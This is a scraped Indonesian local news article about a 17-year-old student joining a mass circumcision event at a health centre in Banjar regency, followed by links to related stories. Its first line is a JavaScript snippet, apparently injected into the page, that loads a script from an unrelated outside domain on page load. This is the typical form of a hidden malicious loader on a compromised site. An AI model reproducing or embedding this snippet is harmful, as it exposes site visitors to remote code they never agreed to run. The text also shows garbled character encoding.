(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang remaja berusia 17 tahun ikut serta dalam sunatan massal di Puskesmas Astambul, Rabu (6/12/2023) siang.
Dalam kegiatan sunatan massal ini, sebanyak 43 anak mendaftar sebagai peserta, namun hanya 37 anak yang hadir pada acara tersebut.
Yang menarik, salah satu dari 37 peserta sunatan massal adalah seorang pelajar SMA yang sudah berusia 17 tahun.
Baca juga:Â Kelompok Remaja Bersajam Dijemput Polisi Tanpa Perlawanan, 4 Orang Dibekuk saat Kumpul di Markas
“Hari ini, ada salah satu peserta remaja berusia 17 tahun berstatus pelajar SLTA yang menjadi peserta sunatan massal,†kata H Subhan, Kepala Bidang Pelayanan Kesehatan Dinas Kesehatan Kabupaten Banjar.
H Subhan menjelaskan bahwa di wilayah Kecamatan Astambul, seorang anak yang sudah berusia 17 tahun mengikuti sunatan massal dianggap unik. Salah satu faktornya adalah karena ketakutan dan perlakuan berlebihan dari orangtua.
Meskipun pengerjaannya agak lebih sulit, dan perdarahan lebih banyak dari biasa, tim medis tetap memberikan pelayanan terbaik. Ini sebagai bagian dari niat mereka untuk membantu warga yang kurang mampu.
Baca juga:Â Cegah Stunting, Disdikbud HSU Salurkan Bantuan PMTAS bagi 1.129 Anak PAUD
“Kami tidak hanya bekerja keras di fasilitas kesehatan, tapi juga turun langsung ke masyarakat untuk memberikan pelayanan,†tambahnya.
Sunatan massal ini diselenggarakan dalam rangka Hari Kesehatan Nasional (HKN) ke-59 tahun 2023, bekerja sama dengan Dinas Kesehatan Provinsi Kalimantan Selatan, Dinas Kesehatan Kabupaten Banjar, dan Puskesmas Astambul.
Sunatan massal hanya dilaksanakan di beberapa kecamatan terpilih, termasuk Aranio, Martapura Timur, Karang Intan, Gambut Astambul, dan Martapura.
Baca juga:Â Perundungan Pelajar di Sekolah, Capres Anies: Tidak Dianggap Masalah Pendidikan
Hingga saat ini, Kecamatan Martapura menjadi satu-satunya yang belum melaksanakan sunatan massal.
Total peserta dari kecamatan-kecamatan tersebut mencapai 250 orang, dengan target 300 peserta pada akhir tahun 2023.
“Kami berharap pemerintah daerah dapat mendukung kegiatan sunatan massal setiap tahun, karena kegiatan ini diharapkan memberikan manfaat besar bagi masyarakat,†pungkasnya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.